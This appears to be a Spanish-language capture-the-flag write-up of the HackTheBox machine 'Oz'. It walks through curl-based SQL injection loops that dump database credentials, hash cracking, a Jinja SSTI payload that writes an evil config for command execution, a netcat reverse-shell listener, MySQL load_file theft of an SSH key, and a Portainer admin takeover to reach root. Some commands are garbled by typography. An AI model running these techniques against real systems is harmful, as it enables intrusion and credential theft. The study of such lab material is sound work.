Oz

Oz


HTB Linux

nmap -A -p- -oA oz 10.129.29.198 —min-rate=10000 —script=vuln —script-timeout=15 -v

nmap -sC -sV -O -p- -oA oz 10.129.29.198

nmap -sU -O -p- -oA oz-udp 10.129.29.198

nikto -h 10.129.29.198:80

ssh_command.

ssh_command.

whatweb http://10.129.29.198

whatweb http://10.129.29.198:8080

ssh_command.

Nos dirigimos a http://10.129.29.198

ssh_command.

Nos dirigimos a http://10.129.29.198:8080

ssh_command.

Vemos http://10.129.29.198/robots.txt

ssh_command.

ssh_command.

ssh_command.

Vamos a http://10.129.29.198/users/admin

ssh_command.

curl -s -X GET “http://10.129.29.198/users/%20union%20select%20version()—%20-

ssh_command.

clear; for i in $(seq 0 10); do echo ”[+] Table [$i]ozdb]: $(curl -s -X GET http://10.129.29.198/users/%20union%20select%20table_name%20from%20information_schema.tables%20where%20table_schema-\“ozdb\“%20limit%20$i,1—%20-” | jq ’.[“username”]’:)“;done

ssh_command.

clear; for i in $(seq 0 10); do echo ”[+] column [$i]ozdb][users_gbw]: $(curl -s -X GET http://10.129.29.198/users/%20union%20select%20column_name%20from%20information_schema.columns%20where%20table_schema-\“ozdb\“%20limit%20$i,1—%20-” | jq ’.[“username”]’:)“;done

ssh_command.

clear; for i in $(seq 0 10); do echo ”[+] credentials [$i]ozdb]: $(curl -s -X GET http://10.129.29.198/users/%20union%20select%20group_contact(username,0x3a,password)%20from%20ozdb.users_gbw%20limit%20$i,1—%20-” | jq ’.[“username”]’)“;done

ssh_command.

Metemos y modificamos las credenciales. Creamos un archivo llamado data.

cat data | tr ’,’ ‘\n’ > hashes

cat hashes

john —wordlist=/usr/share/wordlists/rockyou.txt hashes

ssh_command.

hashcat —example-hashes | grep “PBKDF2-HMAC-SHA256” -C 2

ssh_command.

Trate de usar hashcat y no me funciono.

hashcat -m 10900 hashes /us/share/wordlists/rockyou.txt

ssh_command.

Credenciales-> wizard.oz:wizardofoz22

ssh_command.

Nos logeamos en http://10.129.29.198:8080/login

ssh_command.

Vemos un sistema de tiquetes.

ssh_command.

Y vemos la parte https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#exploit-the-ssti-by-writing-an-evil-config-file

Agregamos esto en burpsuite.

{{ ”.class.mro[2].subclasses()40.write(‘from subprocess import check_output\n\nRUNCMD = check_output\n’) }}

{{ config.from_pyfile(‘/tmp/evilconfig.cfg’) }}

{{ config’RUNCMD’ }}

ssh_command.

Lo modificamos para que podamos hacer un reverse shell:

ssh_command.

rlwrap nc -lvnp 443

ssh_command.

Nos damos cuenta que estamos en un contenedor

ssh_command.

cd /.secret

cat knockd.conf

ssh_command.

Vemos las credenciales en start.sh

ssh_command.

mysql -udorthi -pN0Pl4c3L1keH0me -h 10.100.10.4 -e “show tables” mysql

mysql -udorthi -pN0Pl4c3L1keH0me -h 10.100.10.4 -e “select User,Password from user” mysql

mysql -udorthi -pN0Pl4c3L1keH0me -h 10.100.10.4 -e “select passwor(‘N0Pl4c3L1keH0me’)” mysql

ssh_command.

mysql -udorthi -pN0Pl4c3L1keH0me -h 10.100.10.4 -e “select load_file(‘home/dorthi/.ssh/id_rsa’)” mysql

ssh_command.

Copiamos y hacemos modificaciones al id_rsa.

cat id_rsa | sed ‘s/\n/\n/g’ | sponge id_rsa

ssh_command.

/usr/share/john/ssh2john.py id_rsa > hash

john —wordlist=/usr/share/wordlists/rockyou.txt hash

ssh_command.

Creamos un archivo credentials.txt con las credenciales que habiamos encontrado.

john —wordlist=credentials.txt hash

ssh_command.

for port in 40809 50212 46969; do echo “test” | nc -u -w 1 10.129.29.198 $port; done; ssh -i id_rsa dorthi@10.129.29.198

ssh_command.

nmap -p- —open -T5 -v -n 172.17.0.2

nmap -sCV -p9000 172.17.0.2

ssh_command.

Hacemos un port forward

enter ~C ssh> prompt, -L 9000:172.17.0.2:9000

ssh_command.

Seguimos las instrucciones:

ssh_command.

http “http://localhost:9000/api/auth” Username=“admin” Password=“password”

ssh_command.

http “http://localhost:9000/api/users/admin/init” Username=“admin” Password=“password”

http “http://localhost:9000/api/auth” Username=“admin” Password=“password”

ssh_command.

Nos dirigimos al menu y creamos un contenedor nuevo con la configuracion adecuada.

ssh_command.

Nos dirigimos a la pestana Volumes y hacemos la siguiente configuracion:

ssh_command.

Le damos click a >_console

ssh_command.

Escogemos /bin/sh y le damos click a connect

cd rootfs

cd root && cat root.txt

ssh_command.

© 2025 Cu3rv0x